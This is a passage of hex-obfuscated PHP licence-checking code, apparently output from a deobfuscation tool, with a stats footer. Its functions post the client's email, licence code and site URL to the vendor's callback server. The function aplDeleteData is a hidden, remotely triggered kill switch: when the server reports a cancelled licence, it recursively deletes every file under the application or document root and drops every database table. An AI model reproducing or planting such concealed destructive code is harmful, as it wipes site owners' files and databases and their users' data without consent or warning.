            "\x2f\x61\160\154\x5f\x63\x61\x6c\154\142\141\143\153\x73\x2f\154\151\x63\145\x6e\x73\x65\x5f\166\x65\162\151\146\x79\x2e\x70\x68\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    if (
        !(
            $notifications_array[
                "\156\x6f\164\x69\x66\151\143\141\x74\151\x6f\x6e\137\143\x61\x73\x65"
            ] ==
            "\156\x6f\x74\151\146\x69\x63\x61\164\x69\x6f\156\137\x6c\x69\143\145\x6e\x73\x65\137\157\153"
        )
    ) {
        goto FVJ1V;
    }
    $update_lcd_value = 1;
    FVJ1V:
    if (
        !(
            $notifications_array[
                "\156\157\x74\151\x66\x69\143\x61\x74\151\x6f\156\x5f\143\141\163\x65"
            ] ==
                "\156\157\x74\x69\146\151\x63\x61\x74\151\157\156\x5f\154\151\x63\145\156\x73\145\137\143\141\x6e\143\x65\x6c\x6c\145\x64" &&
            APL_DELETE_CANCELLED == "\x59\105\x53"
        )
    ) {
        goto bPz4J;
    }
    aplDeleteData($MYSQLI_LINK);
    bPz4J:
    goto Cukfc;
    gboIf:
    $notifications_array[
        "\x6e\x6f\164\151\146\x69\x63\x61\164\x69\x6f\x6e\x5f\143\x61\x73\x65"
    ] =
        "\156\x6f\164\151\146\151\x63\x61\x74\x69\157\156\x5f\x6c\151\x63\145\x6e\x73\145\137\157\153";
    $notifications_array[
        "\x6e\x6f\164\x69\x66\x69\x63\x61\164\x69\x6f\156\137\164\x65\170\x74"
    ] = APL_NOTIFICATION_BYPASS_VERIFICATION;
    Cukfc:
    if (
        !(
            aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <
            date("\131\55\x6d\55\144")
        )
    ) {
        goto TMwJa;
    }
    $update_lrd_value = 1;
    TMwJa:
    if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
        goto VcoPV;
    }
    if ($update_lcd_value == 1) {
        goto V15AH;
    }
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    goto WSN_a;
    V15AH:
    $LCD = date("\131\x2d\155\x2d\x64");
    WSN_a:
    $INSTALLATION_KEY = aplCustomEncrypt(
        password_hash(date("\131\x2d\155\x2d\144"), PASSWORD_DEFAULT),
        APL_SALT . $ROOT_URL
    );
    $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(
        date("\x59\55\x6d\x2d\144"),
        APL_SALT . $INSTALLATION_KEY
    );
    if (!(APL_STORAGE == "\104\101\124\x41\x42\x41\123\x45")) {
        goto YmEPP;
    }
    $stmt = mysqli_prepare(
        $MYSQLI_LINK,
        "\125\120\x44\101\124\x45\40" .
            APL_DATABASE_TABLE .
            "\x20\123\x45\124\40\x4c\103\x44\x3d\77\x2c\40\x4c\122\104\75\x3f\x2c\x20\111\116\x53\124\101\114\x4c\x41\124\x49\117\x4e\137\x4b\x45\131\75\77"
    );
    if (!$stmt) {
        goto pTU0F;
    }
    mysqli_stmt_bind_param(
        $stmt,
        "\163\x73\163",
        $LCD,
        $LRD,
        $INSTALLATION_KEY
    );
    $exec = mysqli_stmt_execute($stmt);
    $affected_rows = mysqli_stmt_affected_rows($stmt);
    if (!($affected_rows > 0)) {
        goto J0XW5;
    }
    $updated_records = $updated_records + $affected_rows;
    J0XW5:
    mysqli_stmt_close($stmt);
    pTU0F:
    if (!($updated_records < 1)) {
        goto OZEFJ;
    }
    echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
    exit();
    OZEFJ:
    YmEPP:
    if (!(APL_STORAGE == "\x46\111\x4c\x45")) {
        goto nAkCJ;
    }
    $handle = @fopen(
        APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION,
        "\167\53"
    );
    $fwrite = @fwrite(
        $handle,
        "\74\x52\117\117\x54\137\125\122\114\x3e{$ROOT_URL}\74\x2f\x52\117\x4f\x54\137\125\122\114\x3e\x3c\x43\114\x49\105\x4e\x54\137\x45\115\101\111\x4c\76{$CLIENT_EMAIL}\x3c\x2f\x43\x4c\x49\x45\x4e\x54\137\x45\x4d\101\111\114\76\74\x4c\x49\103\105\116\x53\x45\x5f\103\x4f\x44\x45\76{$LICENSE_CODE}\74\57\x4c\111\x43\x45\x4e\123\x45\137\x43\117\x44\105\76\x3c\114\103\x44\x3e{$LCD}\74\x2f\114\x43\x44\x3e\74\x4c\122\x44\x3e{$LRD}\74\x2f\114\x52\x44\76\x3c\x49\x4e\x53\x54\101\114\x4c\x41\x54\x49\117\x4e\x5f\113\105\131\x3e{$INSTALLATION_KEY}\74\57\x49\x4e\123\x54\x41\114\114\101\124\111\x4f\116\137\113\x45\131\76\x3c\x49\116\123\x54\x41\114\x4c\101\x54\111\117\116\x5f\110\x41\x53\110\x3e{$INSTALLATION_HASH}\74\x2f\x49\x4e\123\124\101\114\114\101\x54\111\x4f\x4e\137\x48\x41\123\x48\x3e"
    );
    if (!($fwrite === false)) {
        goto A1as8;
    }
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
    exit();
    A1as8:
    @fclose($handle);
    nAkCJ:
    VcoPV:
    EFoTa:
    rD3z9:
    if (
        !(
            $notifications_array[
                "\x6e\157\x74\x69\x66\151\143\141\x74\151\x6f\156\x5f\143\x61\163\x65"
            ] !=
            "\156\x6f\x74\x69\x66\x69\143\x61\x74\151\157\x6e\x5f\x6c\x69\x63\x65\x6e\x73\x65\137\x6f\x6b"
        )
    ) {
        goto ZG0x7;
    }
    echo "\x3c\142\x72\x2f\x3e\74\x62\162\57\76";
    echo "\x4c\151\143\x65\x6e\x73\145\x20\151\x73\40\x6e\x6f\164" .
        "\40\x69\156\x73\x74\141\x6c\154\145\144\40\171\145\164" .
        "\40\x6f\x72\40\143\157\x72\162\x75\160\164\x65\144\56\x20\120\x6c\145\141\x73\x65" .
        "\40\143\157\156\164\x61\143\164" .
        "\40\x73\165\x70\160\x6f\x72\164\x20" .
        "\164\145\141\155\x20";
    echo "\40\74\x61\40\150\x72\145\146\x3d\42" .
        get_license_reset_url() .
        "\42\76" .
        trans(
            "\141\160\x70\x2e\165\160\144\x61\x74\145\137\141\160\x70\137\154\x69\143\x65\156\x73\x65"
        ) .
        "\74\57\x61\x3e";
    exit();
    ZG0x7:
    return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
    $notifications_array = [];
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto Pdgss;
    }
    $notifications_array[
        "\x6e\x6f\164\x69\146\151\143\x61\x74\x69\157\x6e\x5f\143\141\x73\x65"
    ] =
        "\156\157\164\x69\x66\x69\143\x61\x74\x69\157\x6e\137\163\143\162\x69\160\x74\x5f\143\157\162\x72\165\160\164\x65\x64";
    $notifications_array[
        "\x6e\157\164\151\x66\151\143\141\x74\151\157\156\137\164\145\x78\x74"
    ] = implode("\73\40", $apl_core_notifications);
    goto lkS8z;
    Pdgss:
    if (aplCheckData($MYSQLI_LINK)) {
        goto grU_Q;
    }
    $notifications_array[
        "\x6e\157\x74\x69\x66\151\x63\141\x74\151\157\x6e\x5f\x63\141\163\x65"
    ] =
        "\156\x6f\x74\x69\146\x69\143\x61\164\151\x6f\x6e\137\154\151\x63\x65\x6e\163\x65\x5f\143\x6f\x72\162\165\x70\x74\145\x64";
    $notifications_array[
        "\x6e\x6f\x74\151\x66\151\143\x61\164\151\x6f\x6e\x5f\x74\x65\170\164"
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto y1_3B;
    grU_Q:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info =
        "\160\x72\157\144\x75\143\x74\137\x69\x64\x3d" .
        rawurlencode(APL_PRODUCT_ID) .
        "\x26\143\154\151\145\156\164\137\x65\x6d\141\151\x6c\x3d" .
        rawurlencode($CLIENT_EMAIL) .
        "\46\154\x69\x63\x65\x6e\163\145\137\x63\x6f\144\145\x3d" .
        rawurlencode($LICENSE_CODE) .
        "\x26\x72\x6f\157\x74\137\165\x72\x6c\75" .
        rawurlencode($ROOT_URL) .
        "\46\151\156\x73\164\x61\x6c\154\x61\164\151\x6f\x6e\x5f\150\141\x73\150\75" .
        rawurlencode($INSTALLATION_HASH) .
        "\46\x6c\151\x63\x65\156\x73\x65\137\163\x69\x67\156\141\164\x75\162\x65\75" .
        rawurlencode(
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\x2f\x61\x70\154\137\x63\x61\154\x6c\142\x61\143\x6b\163\57\x6c\151\x63\x65\x6e\x73\x65\137\x73\165\160\x70\x6f\162\164\56\x70\150\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    y1_3B:
    lkS8z:
    return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
    $notifications_array = [];
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto qyNrl;
    }
    $notifications_array[
        "\156\157\x74\151\146\x69\143\141\164\151\157\156\x5f\143\141\163\145"
    ] =
        "\156\x6f\x74\151\x66\151\143\141\x74\x69\x6f\156\137\x73\143\x72\151\x70\x74\137\143\x6f\162\162\165\x70\164\145\144";
    $notifications_array[
        "\x6e\x6f\164\151\146\x69\143\x61\164\151\x6f\156\137\164\x65\x78\164"
    ] = implode("\x3b\x20", $apl_core_notifications);
    goto UUVR3;
    qyNrl:
    if (aplCheckData($MYSQLI_LINK)) {
        goto sGqBY;
    }
    $notifications_array[
        "\156\157\164\151\x66\x69\143\x61\164\151\x6f\156\137\x63\x61\x73\145"
    ] =
        "\156\157\164\151\x66\x69\x63\x61\x74\x69\157\156\x5f\154\151\x63\x65\x6e\163\x65\137\x63\157\162\x72\165\160\164\145\144";
    $notifications_array[
        "\156\x6f\x74\151\x66\x69\143\141\x74\x69\157\x6e\x5f\164\145\170\164"
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto Qqu6U;
    sGqBY:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info =
        "\x70\162\x6f\x64\165\x63\164\x5f\x69\144\75" .
        rawurlencode(APL_PRODUCT_ID) .
        "\x26\x63\x6c\151\x65\156\164\137\145\155\x61\151\x6c\x3d" .
        rawurlencode($CLIENT_EMAIL) .
        "\x26\154\x69\x63\x65\156\163\x65\137\143\157\144\x65\x3d" .
        rawurlencode($LICENSE_CODE) .
        "\46\162\x6f\157\164\x5f\165\162\154\x3d" .
        rawurlencode($ROOT_URL) .
        "\46\x69\156\163\164\x61\x6c\x6c\x61\x74\x69\157\x6e\137\150\x61\163\x68\75" .
        rawurlencode($INSTALLATION_HASH) .
        "\x26\x6c\x69\x63\x65\x6e\163\x65\137\163\151\147\156\141\164\165\162\145\x3d" .
        rawurlencode(
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\x2f\141\160\154\x5f\143\x61\154\x6c\x62\141\x63\153\x73\x2f\x6c\x69\143\145\x6e\163\145\x5f\x75\x70\x64\x61\164\145\163\56\160\x68\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    Qqu6U:
    UUVR3:
    return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
    $notifications_array = [];
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto mv3HF;
    }
    $notifications_array[
        "\156\x6f\164\x69\146\x69\143\141\164\151\x6f\x6e\x5f\143\141\163\x65"
    ] =
        "\x6e\x6f\x74\151\146\151\x63\x61\164\x69\157\156\x5f\x73\143\162\151\160\x74\137\x63\157\x72\162\165\x70\x74\x65\144";
    $notifications_array[
        "\156\157\164\x69\x66\x69\143\x61\x74\x69\157\156\x5f\x74\x65\x78\164"
    ] = implode("\x3b\40", $apl_core_notifications);
    goto kGywu;
    mv3HF:
    if (aplCheckData($MYSQLI_LINK)) {
        goto Axjf1;
    }
    $notifications_array[
        "\156\157\x74\151\x66\151\143\141\x74\x69\x6f\x6e\137\x63\x61\x73\x65"
    ] =
        "\x6e\157\x74\x69\146\x69\143\141\x74\x69\157\x6e\x5f\x6c\151\x63\x65\x6e\163\x65\x5f\x63\x6f\x72\x72\165\x70\164\145\144";
    $notifications_array[
        "\156\x6f\164\151\146\x69\x63\141\x74\151\157\x6e\x5f\164\x65\170\164"
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto jN_kK;
    Axjf1:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info =
        "\160\162\157\x64\165\x63\x74\137\151\144\75" .
        rawurlencode(APL_PRODUCT_ID) .
        "\x26\x63\x6c\151\x65\x6e\x74\137\x65\155\x61\151\x6c\x3d" .
        rawurlencode($CLIENT_EMAIL) .
        "\46\154\151\x63\145\x6e\163\145\137\x63\157\144\145\75" .
        rawurlencode($LICENSE_CODE) .
        "\x26\x72\157\157\x74\137\x75\x72\154\x3d" .
        rawurlencode($ROOT_URL) .
        "\x26\x69\156\163\x74\x61\x6c\154\x61\164\151\157\156\x5f\150\141\163\150\x3d" .
        rawurlencode($INSTALLATION_HASH) .
        "\46\x6c\151\143\x65\156\163\145\137\x73\x69\147\156\x61\164\165\162\x65\75" .
        rawurlencode(
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\x2f\x61\x70\154\x5f\x63\x61\x6c\x6c\142\x61\143\153\x73\57\x6c\151\143\x65\156\x73\x65\x5f\x75\160\144\141\x74\x65\x2e\x70\x68\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    jN_kK:
    kGywu:
    return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
    $notifications_array = [];
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto XgYsI;
    }
    $notifications_array[
        "\156\157\x74\151\x66\151\143\141\164\151\157\x6e\137\x63\141\163\145"
    ] =
        "\156\157\x74\151\x66\x69\143\x61\x74\151\x6f\156\x5f\163\x63\162\x69\160\164\x5f\143\157\x72\162\x75\x70\164\x65\x64";
    $notifications_array[
        "\x6e\x6f\164\x69\146\x69\x63\x61\x74\x69\x6f\x6e\137\x74\x65\x78\164"
    ] = implode("\73\40", $apl_core_notifications);
    goto PBc0u;
    XgYsI:
    if (aplCheckData($MYSQLI_LINK)) {
        goto bETzZ;
    }
    $notifications_array[
        "\x6e\157\x74\151\146\x69\x63\x61\164\151\x6f\x6e\x5f\143\141\163\145"
    ] =
        "\156\157\164\x69\146\x69\143\141\x74\x69\x6f\x6e\x5f\154\x69\143\145\156\x73\x65\137\143\x6f\x72\162\165\160\x74\x65\x64";
    $notifications_array[
        "\x6e\x6f\x74\x69\x66\151\143\141\x74\151\157\x6e\x5f\164\x65\x78\164"
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto th7hf;
    bETzZ:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info =
        "\x70\x72\157\144\x75\x63\x74\x5f\x69\144\x3d" .
        rawurlencode(APL_PRODUCT_ID) .
        "\46\143\x6c\151\x65\x6e\164\x5f\x65\x6d\x61\151\154\x3d" .
        rawurlencode($CLIENT_EMAIL) .
        "\46\154\151\x63\145\x6e\x73\x65\137\143\x6f\x64\x65\x3d" .
        rawurlencode($LICENSE_CODE) .
        "\x26\x72\157\x6f\164\137\165\x72\x6c\x3d" .
        rawurlencode($ROOT_URL) .
        "\x26\x69\x6e\x73\164\x61\x6c\154\x61\164\x69\x6f\x6e\x5f\x68\x61\163\x68\x3d" .
        rawurlencode($INSTALLATION_HASH) .
        "\46\x6c\151\143\145\156\x73\x65\137\x73\151\x67\156\141\164\x75\162\x65\x3d" .
        rawurlencode(
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\57\x61\x70\154\137\x63\141\x6c\x6c\142\x61\x63\x6b\163\57\154\x69\143\145\x6e\163\x65\x5f\x75\156\151\156\163\164\141\154\154\56\x70\x68\x70",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    if (
        !(
            $notifications_array[
                "\x6e\x6f\164\151\146\x69\x63\141\164\x69\157\156\137\x63\141\163\145"
            ] ==
            "\x6e\x6f\x74\151\x66\151\143\x61\164\x69\157\x6e\x5f\x6c\x69\x63\145\156\x73\145\x5f\x6f\x6b"
        )
    ) {
        goto HyyMB;
    }
    if (!(APL_STORAGE == "\104\x41\x54\x41\x42\101\123\105")) {
        goto oETlZ;
    }
    mysqli_query(
        $MYSQLI_LINK,
        "\x44\x45\114\105\124\105\x20\x46\122\x4f\115\40" . APL_DATABASE_TABLE
    );
    mysqli_query(
        $MYSQLI_LINK,
        "\x44\x52\x4f\x50\40\124\x41\x42\114\105\x20" . APL_DATABASE_TABLE
    );
    oETlZ:
    if (!(APL_STORAGE == "\106\111\114\x45")) {
        goto GW99A;
    }
    $handle = @fopen(
        APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION,
        "\167\53"
    );
    @fclose($handle);
    GW99A:
    HyyMB:
    th7hf:
    PBc0u:
    return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
    if (
        APL_GOD_MODE == "\131\105\123" &&
        isset($_SERVER["\104\x4f\103\125\x4d\x45\x4e\124\x5f\122\117\x4f\124"])
    ) {
        goto oByhn;
    }
    $root_directory = dirname(__DIR__);
    goto Tp3Ys;
    oByhn:
    $root_directory =
        $_SERVER["\104\x4f\x43\x55\x4d\105\x4e\x54\x5f\122\117\117\x54"];
    Tp3Ys:
    foreach (
        new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator(
                $root_directory,
                FilesystemIterator::SKIP_DOTS
            ),
            RecursiveIteratorIterator::CHILD_FIRST
        )
        as $path
    ) {
        $path->isDir() && !$path->isLink()
            ? rmdir($path->getPathname())
            : unlink($path->getPathname());
        kKJMy:
    }
    kYGeP:
    rmdir($root_directory);
    if (!(APL_STORAGE == "\x44\x41\x54\x41\102\x41\123\105")) {
        goto Ql3wL;
    }
    $database_tables_array = [];
    $table_list_results = mysqli_query(
        $MYSQLI_LINK,
        "\123\110\x4f\127\40\x54\x41\x42\x4c\x45\123"
    );
    AYSjD:
    if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
        goto M0ADK;
    }
    $database_tables_array[] = $table_list_row[0];
    goto AYSjD;
    M0ADK:
    if (empty($database_tables_array)) {
        goto oA0NR;
    }
    foreach ($database_tables_array as $table_name) {
        mysqli_query(
            $MYSQLI_LINK,
            "\x44\x45\x4c\105\x54\x45\40\x46\x52\117\115\40{$table_name}"
        );
        NH0uQ:
    }
    s2J0n:
    foreach ($database_tables_array as $table_name) {
        mysqli_query(
            $MYSQLI_LINK,
            "\104\122\x4f\120\40\124\101\102\x4c\x45\40{$table_name}"
        );
        Xr05S:
    }
    dOOOW:
    oA0NR:
    Ql3wL:
    exit();
}

Function Calls

None

Variables

None

Stats

MD5 ca58d2551bc2a2a9ee170a0a20c56457
Eval Count 0
Decode Time 100 ms